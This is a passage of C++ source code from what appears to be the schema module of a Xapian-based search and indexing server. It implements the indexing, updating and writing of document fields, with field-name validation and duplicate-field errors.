(!has_dispatch_process_properties(key)) { if (!has_dispatch_process_concrete_properties(key)) { fields.emplace_back(str_key, &it.value()); if (key == hh(ID_FIELD_NAME)) { id_field = &fields.back(); } } } } else { fields.emplace_back(str_key, &it.value()); } } } } #endif // Add ID field. MsgPack id_field_obj; if (id_field != nullptr && id_field->second != nullptr) { if (id_field->second->is_map()) { id_field_obj = *id_field->second; id_field_obj[RESERVED_VALUE] = document_id; id_field->second = &id_field_obj; } else { id_field->second = &document_id; } } else { fields.emplace_back(ID_FIELD_NAME, &document_id); id_field = &fields.back(); } Xapian::Document doc; MsgPack data_obj; auto data_ptr = &data_obj; index_item_value(properties, doc, data_ptr, fields); for (const auto& elem : map_values) { const auto val_ser = StringList::serialise(elem.second.begin(), elem.second.end()); doc.add_value(elem.first, val_ser); L_INDEX("Slot: {} Values: {}", elem.first, repr(val_ser)); } if (term_id != "QN\x80") { doc.add_boolean_term(term_id); // make sure the ID term is ALWAYS added! } return std::make_tuple(std::move(term_id), std::move(doc), std::move(data_obj)); } catch (...) { L_DEBUG("ERROR IN {}: {}", document_id.to_string(), object.to_string()); mut_schema.reset(); throw; } } const MsgPack& Schema::index_subproperties(const MsgPack*& properties, MsgPack*& data, std::string_view name, const MsgPack& object, FieldVector& fields, size_t pos) { L_CALL("Schema::index_subproperties({}, {}, {}, {}, <fields>, {})", repr(properties->to_string()), repr(data->to_string()), repr(name), repr(object.to_string()), pos); Split<std::string_view> field_names(name, DB_OFFSPRING_UNION); auto it = field_names.begin(); assert(it != field_names.end()); if (specification.flags.is_namespace) { restart_namespace_specification(); for (; !it.last(); ++it) { const auto& field_name = *it; detect_dynamic(field_name); update_prefixes(); if (specification.flags.store) { auto inserted = data->insert(specification.flags.uuid_field ? normalize_uuid(field_name) : field_name); data = &inserted.first.value(); } } const auto& field_name = *it; dispatch_process_properties(object, fields); detect_dynamic(field_name); update_prefixes(); specification.flags.inside_namespace = true; if (specification.flags.store) { auto inserted = data->insert(specification.flags.uuid_field ? normalize_uuid(field_name) : field_name); if (!inserted.second && pos == 0) { THROW(ClientError, "Field {} in {} is duplicated", repr_field(name, inserted.first->as_str()), specification.full_meta_name.empty() ? "<root>" : repr(specification.full_meta_name)); } data = &inserted.first.value(); } } else { for (; !it.last(); ++it) { const auto& field_name = *it; if (!is_valid(field_name) && !(specification.full_meta_name.empty() && has_dispatch_set_default_spc(hh(field_name)))) { THROW(ClientError, "Field {} in {} is not valid", repr_field(name, field_name), specification.full_meta_name.empty() ? "<root>" : repr(specification.full_meta_name)); } restart_specification(); if (feed_subproperties(properties, field_name)) { update_prefixes(); if (specification.flags.store) { auto inserted = data->insert(field_name); data = &inserted.first.value(); } } else { detect_dynamic(field_name); if (specification.flags.uuid_field) { if (feed_subproperties(properties, specification.meta_name)) { update_prefixes(); if (specification.flags.store) { auto inserted = data->insert(normalize_uuid(field_name)); data = &inserted.first.value(); } continue; } } auto mut_properties = &get_mutable_properties(specification.full_meta_name); add_field(mut_properties); if (specification.flags.store) { auto inserted = data->insert(specification.flags.uuid_field ? normalize_uuid(field_name) : field_name); data = &inserted.first.value(); } for (++it; !it.last(); ++it) { const auto& n_field_name = *it; if (!is_valid(n_field_name)) { THROW(ClientError, "Field {} in {} is not valid", repr_field(name, n_field_name), specification.full_meta_name.empty() ? "<root>" : repr(specification.full_meta_name)); } else { detect_dynamic(n_field_name); add_field(mut_properties); if (specification.flags.store) { auto inserted = data->insert(specification.flags.uuid_field ? normalize_uuid(n_field_name) : n_field_name); data = &inserted.first.value(); } } } const auto& n_field_name = *it; if (!is_valid(n_field_name)) { THROW(ClientError, "Field {} in {} is not valid", repr_field(name, n_field_name), specification.full_meta_name.empty() ? "<root>" : repr(specification.full_meta_name)); } else { detect_dynamic(n_field_name); add_field(mut_properties, object, fields); if (specification.flags.store) { auto inserted = data->insert(specification.flags.uuid_field ? normalize_uuid(n_field_name) : n_field_name); if (!inserted.second && pos == 0) { THROW(ClientError, "Field {} in {} is duplicated", repr_field(name, inserted.first->as_str()), specification.full_meta_name.empty() ? "<root>" : repr(specification.full_meta_name)); } data = &inserted.first.value(); } } return *mut_properties; } } const auto& field_name = *it; if (!is_valid(field_name) && !(specification.full_meta_name.empty() && has_dispatch_set_default_spc(hh(field_name)))) { THROW(ClientError, "Field {} in {} is not valid", repr_field(name, field_name), specification.full_meta_name.empty() ? "<root>" : repr(specification.full_meta_name)); } restart_specification(); if (feed_subproperties(properties, field_name)) { dispatch_process_properties(object, fields); update_prefixes(); if (specification.flags.store) { auto inserted = data->insert(field_name); if (!inserted.second && pos == 0) { THROW(ClientError, "Field {} in {} is duplicated", repr_field(name, inserted.first->as_str()), specification.full_meta_name.empty() ? "<root>" : repr(specification.full_meta_name)); } data = &inserted.first.value(); } } else { detect_dynamic(field_name); if (specification.flags.uuid_field) { if (feed_subproperties(properties, specification.meta_name)) { dispatch_process_properties(object, fields); update_prefixes(); if (specification.flags.store) { auto inserted = data->insert(normalize_uuid(field_name)); if (!inserted.second && pos == 0) { THROW(ClientError, "Field {} in {} is duplicated", repr_field(name, inserted.first->as_str()), specification.full_meta_name.empty() ? "<root>" : repr(specification.full_meta_name)); } data = &inserted.first.value(); } return *properties; } } auto mut_properties = &get_mutable_properties(specification.full_meta_name); add_field(mut_properties, object, fields); if (specification.flags.store) { auto inserted = data->insert(specification.flags.uuid_field ? normalize_uuid(field_name) : field_name); if (!inserted.second && pos == 0) { THROW(ClientError, "Field {} in {} is duplicated", repr_field(name, inserted.first->as_str()), specification.full_meta_name.empty() ? "<root>" : repr(specification.full_meta_name)); } data = &inserted.first.value(); } return *mut_properties; } } return *properties; } const MsgPack& Schema::index_subproperties(const MsgPack*& properties, MsgPack*& data, std::string_view name, size_t pos) { L_CALL("Schema::index_subproperties({}, {}, {}, {})", repr(properties->to_string()), repr(data->to_string()), repr(name), pos); Split<std::string_view> field_names(name, DB_OFFSPRING_UNION); auto it = field_names.begin(); assert(it != field_names.end()); if (specification.flags.is_namespace) { restart_namespace_specification(); for (; !it.last(); ++it) { const auto& field_name = *it; detect_dynamic(field_name); update_prefixes(); if (specification.flags.store) { auto inserted = data->insert(specification.flags.uuid_field ? normalize_uuid(field_name) : field_name); data = &inserted.first.value(); } } const auto& field_name = *it; detect_dynamic(field_name); update_prefixes(); specification.flags.inside_namespace = true; if (specification.flags.store) { auto inserted = data->insert(specification.flags.uuid_field ? normalize_uuid(field_name) : field_name); if (!inserted.second && pos == 0) { THROW(ClientError, "Field {} in {} is duplicated", repr_field(name, inserted.first->as_str()), specification.full_meta_name.empty() ? "<root>" : repr(specification.full_meta_name)); } data = &inserted.first.value(); } } else { for (; !it.last(); ++it) { const auto& field_name = *it; if (!is_valid(field_name) && !(specification.full_meta_name.empty() && has_dispatch_set_default_spc(hh(field_name)))) { THROW(ClientError, "Field {} in {} is not valid", repr_field(name, field_name), specification.full_meta_name.empty() ? "<root>" : repr(specification.full_meta_name)); } restart_specification(); if (feed_subproperties(properties, field_name)) { update_prefixes(); if (specification.flags.store) { auto inserted = data->insert(field_name); data = &inserted.first.value(); } } else { detect_dynamic(field_name); if (specification.flags.uuid_field) { if (feed_subproperties(properties, specification.meta_name)) { update_prefixes(); if (specification.flags.store) { auto inserted = data->insert(normalize_uuid(field_name)); data = &inserted.first.value(); } continue; } } auto mut_properties = &get_mutable_properties(specification.full_meta_name); add_field(mut_properties); if (specification.flags.store) { auto inserted = data->insert(specification.flags.uuid_field ? normalize_uuid(field_name) : field_name); data = &inserted.first.value(); } for (++it; !it.last(); ++it) { const auto& n_field_name = *it; if (!is_valid(n_field_name)) { THROW(ClientError, "Field {} in {} is not valid", repr_field(name, n_field_name), specification.full_meta_name.empty() ? "<root>" : repr(specification.full_meta_name)); } else { detect_dynamic(n_field_name); add_field(mut_properties); if (specification.flags.store) { auto inserted = data->insert(specification.flags.uuid_field ? normalize_uuid(n_field_name) : n_field_name); data = &inserted.first.value(); } } } const auto& n_field_name = *it; if (!is_valid(n_field_name)) { THROW(ClientError, "Field {} in {} is not valid", repr_field(name, n_field_name), specification.full_meta_name.empty() ? "<root>" : repr(specification.full_meta_name)); } else { detect_dynamic(n_field_name); add_field(mut_properties); if (specification.flags.store) { auto inserted = data->insert(specification.flags.uuid_field ? normalize_uuid(n_field_name) : n_field_name); if (!inserted.second && pos == 0) { THROW(ClientError, "Field {} in {} is duplicated", repr_field(name, inserted.first->as_str()), specification.full_meta_name.empty() ? "<root>" : repr(specification.full_meta_name)); } data = &inserted.first.value(); } } return *mut_properties; } } const auto& field_name = *it; if (!is_valid(field_name) && !(specification.full_meta_name.empty() && has_dispatch_set_default_spc(hh(field_name)))) { THROW(ClientError, "Field {} in {} is not valid", repr_field(name, field_name), specification.full_meta_name.empty() ? "<root>" : repr(specification.full_meta_name)); } restart_specification(); if (feed_subproperties(properties, field_name)) { update_prefixes(); if (specification.flags.store) { auto inserted = data->insert(field_name); if (!inserted.second && pos == 0) { THROW(ClientError, "Field {} in {} is duplicated", repr_field(name, inserted.first->as_str()), specification.full_meta_name.empty() ? "<root>" : repr(specification.full_meta_name)); } data = &inserted.first.value(); } } else { detect_dynamic(field_name); if (specification.flags.uuid_field) { if (feed_subproperties(properties, specification.meta_name)) { update_prefixes(); if (specification.flags.store) { auto inserted = data->insert(normalize_uuid(field_name)); if (!inserted.second && pos == 0) { THROW(ClientError, "Field {} in {} is duplicated", repr_field(name, inserted.first->as_str()), specification.full_meta_name.empty() ? "<root>" : repr(specification.full_meta_name)); } data = &inserted.first.value(); } return *properties; } } auto mut_properties = &get_mutable_properties(specification.full_meta_name); add_field(mut_properties); if (specification.flags.store) { auto inserted = data->insert(specification.flags.uuid_field ? normalize_uuid(field_name) : field_name); if (!inserted.second && pos == 0) { THROW(ClientError, "Field {} in {} is duplicated", repr_field(name, inserted.first->as_str()), specification.full_meta_name.empty() ? "<root>" : repr(specification.full_meta_name)); } data = &inserted.first.value(); } return *mut_properties; } } return *properties; } void Schema::index_object(const MsgPack*& parent_properties, const MsgPack& object, MsgPack*& parent_data, Xapian::Document& doc, const std::string& name) { L_CALL("Schema::index_object({}, {}, {}, <Xapian::Document>, {})", repr(parent_properties->to_string()), repr(object.to_string()), repr(parent_data->to_string()), repr(name)); if (is_comment(name)) { return; // skip comments (empty fields or fields starting with '#') } if (is_valid(name) && (!specification.flags.recurse || specification.ignored.find(name) != specification.ignored.end())) { if (specification.flags.store) { parent_data->get(name) = object; } return; } switch (object.get_type()) { case MsgPack::Type::MAP: { auto spc_start = specification; auto properties = &*parent_properties; auto data = parent_data; FieldVector fields; properties = &index_subproperties(properties, data, name, object, fields, 0); index_item_value(properties, doc, data, fields); if (specification.flags.store) { if (data->is_map() && data->size() == 1) { auto it = data->find(RESERVED_VALUE); if (it != data->end()) { *data = it.value(); } } if (data->is_undefined() || (data->is_map() && data->empty())) { parent_data->erase(name); } } specification = std::move(spc_start); break; } case MsgPack::Type::ARRAY: { index_array(parent_properties, object, parent_data, doc, name); break; } case MsgPack::Type::NIL: case MsgPack::Type::UNDEFINED: { auto spc_start = specification; auto properties = &*parent_properties; auto data = parent_data; index_subproperties(properties, data, name, 0); index_partial_paths(doc); if (specification.flags.store) { if (data->is_map() && data->size() == 1) { auto it = data->find(RESERVED_VALUE); if (it != data->end()) { *data = it.value(); } } if (data->is_undefined() || (data->is_map() && data->empty())) { parent_data->erase(name); } } specification = std::move(spc_start); break; } default: { auto spc_start = specification; auto properties = &*parent_properties; auto data = parent_data; index_subproperties(properties, data, name, 0); index_item_value(doc, *data, object, 0); if (specification.flags.store) { if (data->is_map() && data->size() == 1) { auto it = data->find(RESERVED_VALUE); if (it != data->end()) { *data = it.value(); } } if (data->is_undefined() || (data->is_map() && data->empty())) { parent_data->erase(name); } } specification = std::move(spc_start); break; } } } void Schema::index_array(const MsgPack*& parent_properties, const MsgPack& array, MsgPack*& parent_data, Xapian::Document& doc, const std::string& name) { L_CALL("Schema::index_array({}, {}, <MsgPack*>, <Xapian::Document>, {})", repr(parent_properties->to_string()), repr(array.to_string()), repr(name)); if (array.empty()) { set_type_to_array(); if (specification.flags.store) { parent_data->get(name) = MsgPack::ARRAY(); } return; } auto spc_start = specification; size_t pos = 0; for (const auto& item : array) { switch (item.get_type()) { case MsgPack::Type::MAP: { auto properties = &*parent_properties; auto data = parent_data; FieldVector fields; properties = &index_subproperties(properties, data, name, item, fields, pos); auto data_pos = specification.flags.store ? &data->get(pos) : data; set_type_to_array(); index_item_value(properties, doc, data_pos, fields); specification = spc_start; break; } case MsgPack::Type::ARRAY: { auto properties = &*parent_properties; auto data = parent_data; index_subproperties(properties, data, name, pos); auto data_pos = specification.flags.store ? &data->get(pos) : data; set_type_to_array(); index_item_value(doc, *data_pos, item); if (specification.flags.store) { if (data_pos->is_map() && data_pos->size() == 1) { auto it = data_pos->find(RESERVED_VALUE); if (it != data_pos->end()) { *data_pos = it.value(); } } } specification = spc_start; break; } case MsgPack::Type::NIL: case MsgPack::Type::UNDEFINED: { auto properties = &*parent_properties; auto data = parent_data; index_subproperties(properties, data, name, pos); auto data_pos = specification.flags.store ? &data->get(pos) : data; set_type_to_array(); index_partial_paths(doc); if (specification.flags.store) { *data_pos = item; if (data_pos->is_map() && data_pos->size() == 1) { auto it = data_pos->find(RESERVED_VALUE); if (it != data_pos->end()) { *data_pos = it.value(); } } } specification = spc_start; break; } default: { auto properties = &*parent_properties; auto data = parent_data; index_subproperties(properties, data, name, pos); auto data_pos = specification.flags.store ? &data->get(pos) : data; set_type_to_array(); index_item_value(doc, *data_pos, item, pos); if (specification.flags.store) { if (data_pos->is_map() && data_pos->size() == 1) { auto it = data_pos->find(RESERVED_VALUE); if (it != data_pos->end()) { *data_pos = it.value(); } } } specification = spc_start; break; } } ++pos; } } void Schema::index_item_value(Xapian::Document& doc, MsgPack& data, const MsgPack& item_value, size_t pos) { L_CALL("Schema::index_item_value(<doc>, {}, {}, {})", repr(data.to_string()), repr(item_value.to_string()), pos); if (!specification.flags.complete) { if (specification.flags.inside_namespace) { complete_namespace_specification(item_value); } else { complete_specification(item_value); } } if (specification.partial_index_spcs.empty()) { index_item(doc, item_value, data, pos); } else { bool add_value = true; index_spc_t start_index_spc(specification.sep_types[SPC_CONCRETE_TYPE], std::move(specification.prefix.field), specification.slot, std::move(specification.accuracy), std::move(specification.acc_prefix)); for (const auto& index_spc : specification.partial_index_spcs) { specification.update(index_spc); index_item(doc, item_value, data, pos, add_value); add_value = false; } specification.update(std::move(start_index_spc)); } if (specification.sep_types[SPC_CONCRETE_TYPE] == FieldType::empty && specification.sep_types[SPC_OBJECT_TYPE] == FieldType::empty && specification.sep_types[SPC_ARRAY_TYPE] == FieldType::empty) { set_type_to_object(); } } inline void Schema::index_item_value(Xapian::Document& doc, MsgPack& data, const MsgPack& item_value) { L_CALL("Schema::index_item_value(<doc>, {}, {})", repr(data.to_string()), repr(item_value.to_string())); switch (item_value.get_type()) { case MsgPack::Type::ARRAY: { bool valid = false; for (const auto& item : item_value) { if (!(item.is_null() || item.is_undefined())) { if (!specification.flags.complete) { if (specification.flags.inside_namespace) { complete_namespace_specification(item); } else { complete_specification(item); } } valid = true; break; } } if (valid) { break; } } [[fallthrough]]; case MsgPack::Type::NIL: case MsgPack::Type::UNDEFINED: if (!specification.flags.concrete) { if (specification.sep_types[SPC_CONCRETE_TYPE] != FieldType::empty) { if (specification.flags.inside_namespace) { validate_required_namespace_data(); } else { validate_required_data(get_mutable_properties(specification.full_meta_name)); } } } index_partial_paths(doc); if (specification.flags.store) { data = item_value; } return; default: if (!specification.flags.complete) { if (specification.flags.inside_namespace) { complete_namespace_specification(item_value); } else { complete_specification(item_value); } } break; } if (specification.partial_index_spcs.empty()) { index_item(doc, item_value, data); } else { bool add_value = true; index_spc_t start_index_spc(specification.sep_types[SPC_CONCRETE_TYPE], std::move(specification.prefix.field), specification.slot, std::move(specification.accuracy), std::move(specification.acc_prefix)); for (const auto& index_spc : specification.partial_index_spcs) { specification.update(index_spc); index_item(doc, item_value, data, add_value); add_value = false; } specification.update(std::move(start_index_spc)); } if (specification.sep_types[SPC_FOREIGN_TYPE] == FieldType::foreign) { if (!specification.flags.static_endpoint) { data[RESERVED_ENDPOINT] = specification.endpoint; } } } inline void Schema::index_item_value(const MsgPack*& properties, Xapian::Document& doc, MsgPack*& data, const FieldVector& fields) { L_CALL("Schema::index_item_value({}, <doc>, {}, <FieldVector>)", repr(properties->to_string()), repr(data->to_string())); if (!specification.flags.concrete) { bool foreign_type = specification.sep_types[SPC_FOREIGN_TYPE] == FieldType::foreign; if (!foreign_type && !specification.endpoint.empty()) { if (specification.flags.strict) { THROW(MissingTypeError, "Type of field {} is missing", specification.full_meta_name.empty() ? "<root>" : repr(specification.full_meta_name)); } specification.sep_types[SPC_FOREIGN_TYPE] = FieldType::foreign; } } auto val = specification.value ? specification.value.get() : specification.value_rec.get(); if (val != nullptr) { if (specification.sep_types[SPC_FOREIGN_TYPE] == FieldType::foreign) { THROW(ClientError, "{} is a foreign type and as such it cannot have a value", specification.full_meta_name.empty() ? "<root>" : repr(specification.full_meta_name)); } index_item_value(doc, *data, *val); } else { if (!specification.flags.concrete) { if (specification.sep_types[SPC_CONCRETE_TYPE] != FieldType::empty) { if (specification.flags.inside_namespace) { validate_required_namespace_data(); } else { validate_required_data(get_mutable_properties(specification.full_meta_name)); } } } if (fields.empty()) { index_partial_paths(doc); if (specification.flags.store && specification.sep_types[SPC_OBJECT_TYPE] == FieldType::object) { *data = MsgPack::MAP(); } } } if (fields.empty()) { if (specification.sep_types[SPC_CONCRETE_TYPE] == FieldType::empty && specification.sep_types[SPC_OBJECT_TYPE] == FieldType::empty && specification.sep_types[SPC_ARRAY_TYPE] == FieldType::empty) { set_type_to_object(); } } else { if (specification.sep_types[SPC_FOREIGN_TYPE] == FieldType::foreign) { THROW(ClientError, "{} is a foreign type and as such it cannot have extra fields", specification.full_meta_name.empty() ? "<root>" : repr(specification.full_meta_name)); } set_type_to_object(); const auto spc_object = std::move(specification); for (const auto& field : fields) { specification = spc_object; index_object(properties, *field.second, data, doc, field.first); } } } /* _____ _____ _____ _____ _____ _____ _____ _____ * |_____|_____|_____|_____|_____|_____|_____|_____| * _ _ _ _ * | | | |_ __ __| | __ _| |_ ___ * | | | | '_ \ / _` |/ _` | __/ _ \ * | |_| | |_) | (_| | (_| | || __/ * \___/| .__/ \__,_|\__,_|\__\___| * |_| * _____ _____ _____ _____ _____ _____ _____ _____ * |_____|_____|_____|_____|_____|_____|_____|_____| */ bool Schema::update(const MsgPack& object) { L_CALL("Schema::update({})", repr(object.to_string())); L_INDEX("Schema update: " + DIM_GREY + "{}", object.to_string()); try { map_values.clear(); specification = default_spc; specification.slot = DB_SLOT_ROOT; // Set default RESERVED_SLOT for root std::pair<const MsgPack*, const MsgPack*> checked; checked = check<ClientError>(object, "Invalid schema: ", true, true); if (checked.first != nullptr) { mut_schema = std::make_unique<MsgPack>(MsgPack({ { RESERVED_TYPE, "foreign/object" }, { RESERVED_ENDPOINT, *checked.first }, })); return checked.second != nullptr ? checked.second->size() != 2 : false; } if (checked.second != nullptr) { const auto& schema_obj = *checked.second; auto properties = &get_newest_properties(); FieldVector fields; if (properties->empty()) { // new schemas have empty properties specification.flags.field_found = false; auto mut_properties = &get_mutable_properties(); dispatch_write_properties(*mut_properties, schema_obj, fields); properties = &*mut_properties; } else { dispatch_feed_properties(*properties); dispatch_process_properties(schema_obj, fields); } update_item_value(properties, fields); } // Inject remaining items from received object into the new schema const auto it_e = object.end(); for (auto it = object.begin(); it != it_e; ++it) { auto str_key = it->str(); if (str_key != SCHEMA_FIELD_NAME) { if (!mut_schema) { mut_schema = std::make_unique<MsgPack>(*schema); } mut_schema->get(str_key) = it.value(); } } return false; } catch (...) { L_DEBUG("ERROR: {}", object.to_string()); mut_schema.reset(); throw; } } const MsgPack& Schema::update_subproperties(const MsgPack*& properties, std::string_view name, const MsgPack& object, FieldVector& fields) { L_CALL("Schema::update_subproperties({}, {}, {}, <fields>)", repr(properties->to_string()), repr(name), repr(object.to_string())); Split<std::string_view> field_names(name, DB_OFFSPRING_UNION); auto it = field_names.begin(); assert(it != field_names.end()); if (specification.flags.is_namespace) { restart_namespace_specification(); for (; !it.last(); ++it) { const auto& field_name = *it; detect_dynamic(field_name); update_prefixes(); } const auto& field_name = *it; dispatch_process_properties(object, fields); detect_dynamic(field_name); update_prefixes(); specification.flags.inside_namespace = true; } else { for (; !it.last(); ++it) { const auto& field_name = *it; if (!is_valid(field_name) && !(specification.full_meta_name.empty() && has_dispatch_set_default_spc(hh(field_name)))) { THROW(ClientError, "Field {} in {} is not valid", repr_field(name, field_name), specification.full_meta_name.empty() ? "<root>" : repr(specification.full_meta_name)); } restart_specification(); if (feed_subproperties(properties, field_name)) { update_prefixes(); } else { detect_dynamic(field_name); if (specification.flags.uuid_field) { if (feed_subproperties(properties, specification.meta_name)) { update_prefixes(); continue; } } auto mut_properties = &get_mutable_properties(specification.full_meta_name); add_field(mut_properties); for (++it; !it.last(); ++it) { const auto& n_field_name = *it; if (!is_valid(n_field_name)) { THROW(ClientError, "Field {} in {} is not valid", repr_field(name, n_field_name), specification.full_meta_name.empty() ? "<root>" : repr(specification.full_meta_name)); } else { detect_dynamic(n_field_name); add_field(mut_properties); } } const auto& n_field_name = *it; if (!is_valid(n_field_name)) { THROW(ClientError, "Field {} in {} is not valid", repr_field(name, n_field_name), specification.full_meta_name.empty() ? "<root>" : repr(specification.full_meta_name)); } else { detect_dynamic(n_field_name); add_field(mut_properties, object, fields); } return *mut_properties; } } const auto& field_name = *it; if (!is_valid(field_name) && !(specification.full_meta_name.empty() && has_dispatch_set_default_spc(hh(field_name)))) { THROW(ClientError, "Field {} in {} is not valid", repr_field(name, field_name), specification.full_meta_name.empty() ? "<root>" : repr(specification.full_meta_name)); } restart_specification(); if (feed_subproperties(properties, field_name)) { dispatch_process_properties(object, fields); update_prefixes(); } else { detect_dynamic(field_name); if (specification.flags.uuid_field) { if (feed_subproperties(properties, specification.meta_name)) { dispatch_process_properties(object, fields); update_prefixes(); return *properties; } } auto mut_properties = &get_mutable_properties(specification.full_meta_name); add_field(mut_properties, object, fields); return *mut_properties; } } return *properties; } const MsgPack& Schema::update_subproperties(const MsgPack*& properties, const std::string& name) { L_CALL("Schema::update_subproperties({}, {})", repr(properties->to_string()), repr(name)); Split<std::string_view> field_names(name, DB_OFFSPRING_UNION); auto it = field_names.begin(); assert(it != field_names.end()); if (specification.flags.is_namespace) { restart_namespace_specification(); for (; !it.last(); ++it) { const auto& field_name = *it; detect_dynamic(field_name); update_prefixes(); } const auto& field_name = *it; detect_dynamic(field_name); update_prefixes(); specification.flags.inside_namespace = true; } else { for (; !it.last(); ++it) { const auto& field_name = *it; if (!is_valid(field_name) && !(specification.full_meta_name.empty() && has_dispatch_set_default_spc(hh(field_name)))) { THROW(ClientError, "Field {} in {} is not valid", repr_field(name, field_name), specification.full_meta_name.empty() ? "<root>" : repr(specification.full_meta_name)); } restart_specification(); if (feed_subproperties(properties, field_name)) { update_prefixes(); } else { detect_dynamic(field_name); if (specification.flags.uuid_field) { if (feed_subproperties(properties, specification.meta_name)) { update_prefixes(); continue; } } auto mut_properties = &get_mutable_properties(specification.full_meta_name); add_field(mut_properties); for (++it; !it.last(); ++it) { const auto& n_field_name = *it; if (!is_valid(n_field_name)) { THROW(ClientError, "Field {} in {} is not valid", repr_field(name, n_field_name), specification.full_meta_name.empty() ? "<root>" : repr(specification.full_meta_name)); } else { detect_dynamic(n_field_name); add_field(mut_properties); } } const auto& n_field_name = *it; if (!is_valid(n_field_name)) { THROW(ClientError, "Field {} in {} is not valid", repr_field(name, n_field_name), specification.full_meta_name.empty() ? "<root>" : repr(specification.full_meta_name)); } else { detect_dynamic(n_field_name); add_field(mut_properties); } return *mut_properties; } } const auto& field_name = *it; if (!is_valid(field_name) && !(specification.full_meta_name.empty() && has_dispatch_set_default_spc(hh(field_name)))) { THROW(ClientError, "Field {} in {} is not valid", repr_field(name, field_name), specification.full_meta_name.empty() ? "<root>" : repr(specification.full_meta_name)); } restart_specification(); if (feed_subproperties(properties, field_name)) { update_prefixes(); } else { detect_dynamic(field_name); if (specification.flags.uuid_field) { if (feed_subproperties(properties, specification.meta_name)) { update_prefixes(); return *properties; } } auto mut_properties = &get_mutable_properties(specification.full_meta_name); add_field(mut_properties); return *mut_properties; } } return *properties; } void Schema::update_object(const MsgPack*& parent_properties, const MsgPack& object, const std::string& name) { L_CALL("Schema::update_object({}, {}, {})", repr(parent_properties->to_string()), repr(object.to_string()), repr(name)); if (is_comment(name)) { return; // skip comments (empty fields or fields starting with '#') } if (is_valid(name) && (!specification.flags.recurse || specification.ignored.find(name) != specification.ignored.end())) { return; } switch (object.get_type()) { case MsgPack::Type::MAP: { auto spc_start = specification; auto properties = &*parent_properties; FieldVector fields; properties = &update_subproperties(properties, name, object, fields); update_item_value(properties, fields); specification = std::move(spc_start); return; } case MsgPack::Type::ARRAY: { return update_array(parent_properties, object, name); } case MsgPack::Type::NIL: case MsgPack::Type::UNDEFINED: { auto spc_start = specification; auto properties = &*parent_properties; update_subproperties(properties, name); specification = std::move(spc_start); return; } default: { auto spc_start = specification; auto properties = &*parent_properties; update_subproperties(properties, name); update_item_value(); specification = std::move(spc_start); return; } } } void Schema::update_array(const MsgPack*& parent_properties, const MsgPack& array, const std::string& name) { L_CALL("Schema::update_array({}, {}, {})", repr(parent_properties->to_string()), repr(array.to_string()), repr(name)); if (array.empty()) { set_type_to_array(); return; } auto spc_start = specification; size_t pos = 0; for (const auto& item : array) { switch (item.get_type()) { case MsgPack::Type::MAP: { auto properties = &*parent_properties; FieldVector fields; properties = &update_subproperties(properties, name, item, fields); update_item_value(properties, fields); specification = spc_start; break; } case MsgPack::Type::NIL: case MsgPack::Type::UNDEFINED: { auto properties = &*parent_properties; update_subproperties(properties, name); specification = spc_start; break; } default: { auto properties = &*parent_properties; update_subproperties(properties, name); update_item_value(); specification = spc_start; break; } } ++pos; } } void Schema::update_item_value() { L_CALL("Schema::update_item_value()"); if (!specification.flags.concrete) { bool foreign_type = specification.sep_types[SPC_FOREIGN_TYPE] == FieldType::foreign; if (!foreign_type && !specification.endpoint.empty()) { if (specification.flags.strict) { THROW(MissingTypeError, "Type of field {} is missing", specification.full_meta_name.empty() ? "<root>" : repr(specification.full_meta_name)); } specification.sep_types[SPC_FOREIGN_TYPE] = FieldType::foreign; } bool concrete_type = specification.sep_types[SPC_CONCRETE_TYPE] != FieldType::empty; if (!concrete_type && !foreign_type) { if (specification.flags.strict) { THROW(MissingTypeError, "Type of field {} is missing", specification.full_meta_name.empty() ? "<root>" : repr(specification.full_meta_name)); } } if (specification.sep_types[SPC_CONCRETE_TYPE] != FieldType::empty) { if (specification.flags.inside_namespace) { validate_required_namespace_data(); } else { validate_required_data(get_mutable_properties(specification.full_meta_name)); } } } if (!specification.partial_index_spcs.empty()) { index_spc_t start_index_spc(specification.sep_types[SPC_CONCRETE_TYPE], std::move(specification.prefix.field), specification.slot, std::move(specification.accuracy), std::move(specification.acc_prefix)); for (const auto& index_spc : specification.partial_index_spcs) { specification.update(index_spc); } specification.update(std::move(start_index_spc)); } if (specification.sep_types[SPC_CONCRETE_TYPE] == FieldType::empty && specification.sep_types[SPC_OBJECT_TYPE] == FieldType::empty && specification.sep_types[SPC_ARRAY_TYPE] == FieldType::empty) { set_type_to_object(); } } inline void Schema::update_item_value(const MsgPack*& properties, const FieldVector& fields) { L_CALL("Schema::update_item_value(<const MsgPack*>, <FieldVector>)"); const auto spc_start = specification; if (!specification.flags.concrete) { bool foreign_type = specification.sep_types[SPC_FOREIGN_TYPE] == FieldType::foreign; if (!foreign_type && !specification.endpoint.empty()) { if (specification.flags.strict) { THROW(MissingTypeError, "Type of field {} is missing", specification.full_meta_name.empty() ? "<root>" : repr(specification.full_meta_name)); } specification.sep_types[SPC_FOREIGN_TYPE] = FieldType::foreign; } if (specification.sep_types[SPC_CONCRETE_TYPE] != FieldType::empty) { if (specification.flags.inside_namespace) { validate_required_namespace_data(); } else { validate_required_data(get_mutable_properties(specification.full_meta_name)); } } } if (specification.flags.is_namespace && !fields.empty()) { specification = std::move(spc_start); return; } if (fields.empty()) { if (specification.sep_types[SPC_CONCRETE_TYPE] == FieldType::empty && specification.sep_types[SPC_OBJECT_TYPE] == FieldType::empty && specification.sep_types[SPC_ARRAY_TYPE] == FieldType::empty) { set_type_to_object(); } } else { if (specification.sep_types[SPC_FOREIGN_TYPE] == FieldType::foreign) { THROW(ClientError, "{} is a foreign type and as such it cannot have extra fields", specification.full_meta_name.empty() ? "<root>" : repr(specification.full_meta_name)); } set_type_to_object(); const auto spc_object = std::move(specification); for (const auto& field : fields) { specification = spc_object; update_object(properties, *field.second, field.first); } } } /* _____ _____ _____ _____ _____ _____ _____ _____ * |_____|_____|_____|_____|_____|_____|_____|_____| * __ __ _ _ * \ \ / / __(_) |_ ___ * \ \ /\ / / '__| | __/ _ \ * \ V V /| | | | || __/ * \_/\_/ |_| |_|\__\___| * _____ _____ _____ _____ _____ _____ _____ _____ * |_____|_____|_____|_____|_____|_____|_____|_____| */ bool Schema::write(const MsgPack& object, bool replace) { L_CALL("Schema::write({}, {})", repr(object.to_string()), replace); L_INDEX("Schema write: " + DIM_GREY + "{}", object.to_string()); try { map_values.clear(); specification = default_spc; specification.slot = DB_SLOT_ROOT; // Set default RESERVED_SLOT for root std::pair<const MsgPack*, const MsgPack*> checked; checked = check<ClientError>(object, "Invalid schema: ", true, true); if (checked.first != nullptr) { mut_schema = std::make_unique<MsgPack>(MsgPack({ { RESERVED_TYPE, "foreign/object" }, { RESERVED_ENDPOINT, *checked.first }, })); return checked.second != 